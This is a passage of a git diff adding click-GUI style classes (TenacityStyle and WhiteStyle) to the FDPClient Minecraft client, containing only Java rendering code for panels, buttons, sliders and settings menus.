moduleElement.setSettingsWidth(textWidth + 8); + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 4, 0xffffff); + moduleElement.slowlySettingsYPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + } + } + } + + private BigDecimal round(final float v) { + BigDecimal bigDecimal = new BigDecimal(Float.toString(v)); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal; + } + + private Color hoverColor(final Color color, final int hover) { + final int r = color.getRed() - (hover * 2); + final int g = color.getGreen() - (hover * 2); + final int b = color.getBlue() - (hover * 2); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/TenacityStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/TenacityStyle.java new file mode 100644 index 0000000..6d689ef --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/TenacityStyle.java @@ -0,0 +1,296 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +public class TenacityStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + public static float drawSlider(final float value, final float min, final float max, final int x, final int y, final int width, final int mouseX, final int mouseY, final Color color) { + final float displayValue = Math.max(min, Math.min(value, max)); + + final float sliderValue = (float) x + (float) width * (displayValue - min) / (max - min); + + RenderUtils.drawRect(x, y, x + width, y + 2, Integer.MAX_VALUE); + RenderUtils.drawRect(x, y, sliderValue, y + 2, color); + RenderUtils.drawFilledCircle((int) sliderValue, y + 1, 3, color); + + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 3 && Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double(((double) mouseX - (double) x) / ((double) width - 3), 0, 1); + + BigDecimal bigDecimal = new BigDecimal(Double.toString((min + (max - min) * i))); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal.floatValue(); + } + + return value; + } + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + if (panel.getFade() > 0) { + RenderUtils.drawGradientRoundedRect( panel.getX(), panel.getY() - 3, panel.getX() + panel.getWidth(), panel.getY() + 26 + panel.getFade(), 7, new Color(241,135,251).getRGB(), new Color(67,156,251).getRGB()); + RenderUtils.customRounded((float) panel.getX() + 2, (float) panel.getY() + 17 + panel.getFade(), (float) panel.getX() + panel.getWidth() - 2, (float) panel.getY() + 19 + panel.getFade() + 5, 0f, 0f, 7, 7, new Color(33, 33, 33).getRGB()); + } else { + RenderUtils.drawGradientRoundedRect( panel.getX(), panel.getY() - 3, panel.getX() + panel.getWidth(), panel.getY() + 18, 7, new Color(241,135,251).getRGB(), new Color(67,156,251).getRGB()); + } + GlStateManager.resetColor(); + + float textWidth = Fonts.fontTenacityBold35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.fontTenacityBold35.drawString(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 100.0F) / 2F), panel.getY() + 7 - 3, Color.WHITE.getRGB()); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 3F, new Color(33, 33, 33).getRGB(), new Color(33,33,33).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Color.WHITE.getRGB()); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() - 1, buttonElement.getX() + buttonElement.getWidth() + 1, buttonElement.getY() + buttonElement.getHeight() + 1, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE ? new Color(14, 159, 255) : new Color(217,217,217), buttonElement.hoverTime).getRGB()); + + GlStateManager.resetColor(); + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 5, buttonElement.getY() + 5, Color.WHITE.getRGB()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + if(moduleElement.getModule().getState() == true){ + Gui.drawRect(moduleElement.getX() + 2, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() -2, moduleElement.getY() + moduleElement.getHeight(), hoverColor(new Color(0,0,0,30), moduleElement.hoverTime).getRGB()); + } else { + Gui.drawRect(moduleElement.getX() +2, moduleElement.getY() - 2, moduleElement.getX() + moduleElement.getWidth() - 2, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(33, 33, 33), moduleElement.hoverTime).getRGB()); + } + GlStateManager.resetColor(); + + float modtextWidth = Fonts.fontTenacity35.getStringWidth(moduleElement.getDisplayName().replaceAll("%","")); + Fonts.fontTenacity35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() - ((modtextWidth - 100.0F) / 2F), moduleElement.getY() + 5, Color.WHITE.getRGB()); + + // Draw settings + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if (!moduleValues.isEmpty()) { + + if (moduleElement.isShowSettings()) { + if (moduleElement.getSettingsWidth() > 0F && moduleElement.slowlySettingsYPos > moduleElement.getY() + 6) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), moduleElement.slowlySettingsYPos + 2, 3F, new Color(40,40,40).getRGB(), new Color(40,40,40).getRGB()); + + moduleElement.slowlySettingsYPos = moduleElement.getY() + 6; + for (final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if (value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, ((BoolValue) value).get() ? Color.WHITE.getRGB() : new Color(160, 160, 160).getRGB()); + moduleElement.slowlySettingsYPos += 11; + } else if (value instanceof ListValue) { + final ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.WHITE.getRGB()); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), moduleElement.slowlySettingsYPos + 2, Color.WHITE.getRGB()); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + Fonts.font35.FONT_HEIGHT && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + + for (final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth("- " + valueOfList); + + if (moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos + 2 && mouseY <= moduleElement.slowlySettingsYPos + 14 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + GlStateManager.resetColor(); + Fonts.font35.drawString("- " + valueOfList, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? Color.WHITE.getRGB() : new Color(160, 160, 160).getRGB()); + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + } + } + + if (!listValue.openList) { + moduleElement.slowlySettingsYPos += 1; + } + } else if (value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + ": " + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(floatValue.get(), floatValue.getMinimum(), floatValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != floatValue.get()) + floatValue.set(valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, Color.WHITE.getRGB()); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + ": " + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(integerValue.get(), integerValue.getMinimum(), integerValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != integerValue.get()) + integerValue.set((int) valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, Color.WHITE.getRGB()); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + } else if (fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else { + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if (objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.WHITE.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if (moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if ((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if (Mouse.isButtonDown(0)) { + for (int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i++; + + if (i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + } else { + for (int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i--; + + if (i >= fonts.size()) + i = 0; + + if (i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + moduleElement.slowlySettingsYPos += 11; + } else { + final String text = value.getName() + ": " + value.get(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 4, Color.WHITE.getRGB()); + moduleElement.slowlySettingsYPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + } + } + } + + private BigDecimal round(final float v) { + BigDecimal bigDecimal = new BigDecimal(Float.toString(v)); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal; + } + + private Color hoverColor(final Color color, final int hover) { + final int r = color.getRed() - (hover * 2); + final int g = color.getGreen() - (hover * 2); + final int b = color.getBlue() - (hover * 2); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/WhiteStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/WhiteStyle.java new file mode 100644 index 0000000..e77d2b8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/WhiteStyle.java @@ -0,0 +1,301 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +public class WhiteStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + public static float drawSlider(final float value, final float min, final float max, final int x, final int y, final int width, final int mouseX, final int mouseY, final Color color) { + final float displayValue = Math.max(min, Math.min(value, max)); + + final float sliderValue = (float) x + (float) width * (displayValue - min) / (max - min); + + RenderUtils.drawRect(x, y, x + width, y + 2, Integer.MAX_VALUE); + RenderUtils.drawRect(x, y, sliderValue, y + 2, color); + RenderUtils.drawFilledCircle((int) sliderValue, y + 1, 3, color); + + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 3 && Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double(((double) mouseX - (double) x) / ((double) width - 3), 0, 1); + + BigDecimal bigDecimal = new BigDecimal(Double.toString((min + (max - min) * i))); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal.floatValue(); + } + + return value; + } + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() - 3, (float) panel.getX() + panel.getWidth(), (float) panel.getY() + 17, 3, new Color(217, 217, 217).getRGB(), new Color(217, 217, 217).getRGB()); + if (panel.getFade() > 0) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() + 17, (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade(), 3, new Color(217, 217, 217).getRGB(), new Color(217, 217, 217).getRGB()); + RenderUtils.drawBorderedRect((float) panel.getX(), panel.getY() + 17 + panel.getFade(), (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade() + 5, 3, new Color(217, 217, 217).getRGB(), new Color(217, 217, 217).getRGB()); + } + GlStateManager.resetColor(); + float textWidth = Fonts.font35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 100.0F) / 2F), panel.getY() + 7 - 3, Color.BLACK.getRGB()); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 3F, new Color(217, 217, 217).getRGB(), new Color(217, 217, 217).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Color.BLACK.getRGB()); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() - 1, buttonElement.getX() + buttonElement.getWidth() + 1, buttonElement.getY() + buttonElement.getHeight() + 1, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE ? new Color(14, 159, 255) : new Color(217,217,217), buttonElement.hoverTime).getRGB()); + + GlStateManager.resetColor(); + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 5, buttonElement.getY() + 5, Color.BLACK.getRGB()); + } + + /*public static boolean drawCheckbox(final boolean value, final int x, final int y, final int mouseX, final int mouseY, final Color color) { + RenderUtils.drawRect(x, y, x + 20, y + 10, value ? Color.GREEN : Color.RED); + RenderUtils.drawFilledCircle(x + (value ? 15 : 5),y + 5, 5, Color.WHITE); + + if(mouseX >= x && mouseX <= x + 20 && mouseY >= y && mouseY <= y + 10 && Mouse.isButtonDown(0)) + return !value; + + return value; + }*/ + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(255,255,255), moduleElement.hoverTime).getRGB()); + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(217,217,217, moduleElement.slowlyFade), moduleElement.hoverTime).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 5, moduleElement.getY() + 5, Color.BLACK.getRGB()); + + // Draw settings + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if (!moduleValues.isEmpty()) { + Fonts.font35.drawString("-", moduleElement.getX() + moduleElement.getWidth() - 8, moduleElement.getY() + 5, Color.BLACK.getRGB()); + + if (moduleElement.isShowSettings()) { + if (moduleElement.getSettingsWidth() > 0F && moduleElement.slowlySettingsYPos > moduleElement.getY() + 6) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), moduleElement.slowlySettingsYPos + 2, 3F, Color.white.getRGB(), Color.white.getRGB()); + + moduleElement.slowlySettingsYPos = moduleElement.getY() + 6; + for (final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if (value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, ((BoolValue) value).get() ? Color.BLACK.getRGB() : new Color(120, 120, 120).getRGB()); + moduleElement.slowlySettingsYPos += 11; + } else if (value instanceof ListValue) { + final ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, 0xFF000000); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), moduleElement.slowlySettingsYPos + 2, 0xFF000000); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + Fonts.font35.FONT_HEIGHT && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + + for (final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth("- " + valueOfList); + + if (moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos + 2 && mouseY <= moduleElement.slowlySettingsYPos + 14 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + GlStateManager.resetColor(); + Fonts.font35.drawString("- " + valueOfList, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? Color.BLACK.getRGB() : new Color(120, 120, 120).getRGB()); + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + } + } + + if (!listValue.openList) { + moduleElement.slowlySettingsYPos += 1; + } + } else if (value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + ": " + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(floatValue.get(), floatValue.getMinimum(), floatValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != floatValue.get()) + floatValue.set(valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xFF000000); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + ": " + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(integerValue.get(), integerValue.getMinimum(), integerValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != integerValue.get()) + integerValue.set((int) valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xFF000000); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + } else if (fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else { + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if (objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.BLACK.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if (moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if ((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if (Mouse.isButtonDown(0)) { + for (int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i++; + + if (i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + } else { + for (int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i--; + + if (i >= fonts.size()) + i = 0; + + if (i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + moduleElement.slowlySettingsYPos += 11; + } else { + final String text = value.getName() + ": " + value.get(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 4, 0xFF000000); + moduleElement.slowlySettingsYPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + } + } + } + + private BigDecimal 